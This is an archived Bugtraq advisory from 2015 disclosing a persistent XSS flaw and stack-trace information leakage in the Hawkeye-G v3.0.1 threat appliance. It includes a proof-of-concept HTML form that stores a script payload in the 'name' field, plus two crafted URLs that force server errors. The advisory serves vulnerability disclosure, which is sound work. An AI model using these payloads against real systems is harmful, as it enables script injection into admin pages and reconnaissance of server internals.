bugtraq - Hawkeye-G v3.0.1 Persistent XSS & Information Leakage

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201507250526.t6P5Qns1028804@sf01web2.securityfocus.com>
Date: Sat, 25 Jul 2015 05:26:49 GMT
From: apparitionsec@...il.com
To: bugtraq@...urityfocus.com
Subject: Hawkeye-G v3.0.1 Persistent XSS & Information Leakage

[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-HAWKEYEG0725.txt

Vendor:
================================
www.hexiscyber.com

Product:
================================
Hawkeye-G v3.0.1.4912

Hawkeye G is an active defense disruptive technology that
detects, investigates, remediates and removes cyber threats
within the network.

Vulnerability Type:
=============================================
Persistent XSS & Server Information Leakage

CVE Reference:
==============
N/A

Advisory Information:
=====================================================================

Persistent XSS:
---------------

Hexis cyber Hawkeye-G network threat appliance is vulnerable to
persistent XSS injection when adding device accounts to the system.
The appliance contains an endpoint sensor that collects client
information to report back to the Hawkeye-G web interface.

When adding device accounts to the system XSS payloads supplied to the
vulnerable id parameter 'name' will be stored in database and executed each
time certain threat appliance webpages are visited.

Server Information Disclosure:
-----------------------------

We can force internal server 500 errors that leak back end information's.
Stack traces are echoed out to the end user instead of being suppressed
this can give attackers valuable information into the system internals
possibly helping attackers in crafting more specific types of attacks.

Exploit code(s):
===============

Persistent XSS:
---------------

<form id="exploit" action="https://localhost:8443/interface/rest/accounts/json" method="post">
<input type="text" name="human" value="true" />
<input type="text" name="name" value="<script>alert(666)</script>" />
<input type="text" name="domainId" value=""/>
<input type="text" name="domain_id" value="" />
<input type="text" name="roving" value="false" />
</form> 

Accessing URL will execute malicious XSS stored in Hawkeye-G backend database.
https://localhost:8443/interface/app/#/account-management

vulnerable parameter: 
'name'

<input placeholder="Name" ng-model="record.name" id="name"
class="formeditbox ng-pristine ng-invalid ng-invalid-required ng-touched" name="name" required="" ng-disabled="record.guid">

Server Information Leakage:
---------------------------

These examples will result in 500 internal server error info disclosures:

1- https://localhost:8443/interface/rest/threatfeeds/pagedJson?namePattern=&page=0&size=25&sortCol=address&sortDir=%22/%3E%3Cscript%3Ealert%280%29%3C/script%3E

2- https://localhost:8443/interface/rest/mitigationWhitelist/paged?namePattern=WEB-INF/web.xml&page=0&size=0&source-filter=

Disclosure Timeline:
=========================================================

Vendor Notification: June 30, 2015
July 25, 2015 : Public Disclosure

Severity Level:
=========================================================
High

Description:
==========================================================

Request Method(s):            [+] POST & GET

Vulnerable Product:           [+] Hawkeye-G v3.0.1.4912

Vulnerable Parameter(s):      [+] name, namePattern, sortDir

Affected Area(s):             [+] Network Threat Appliance

===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx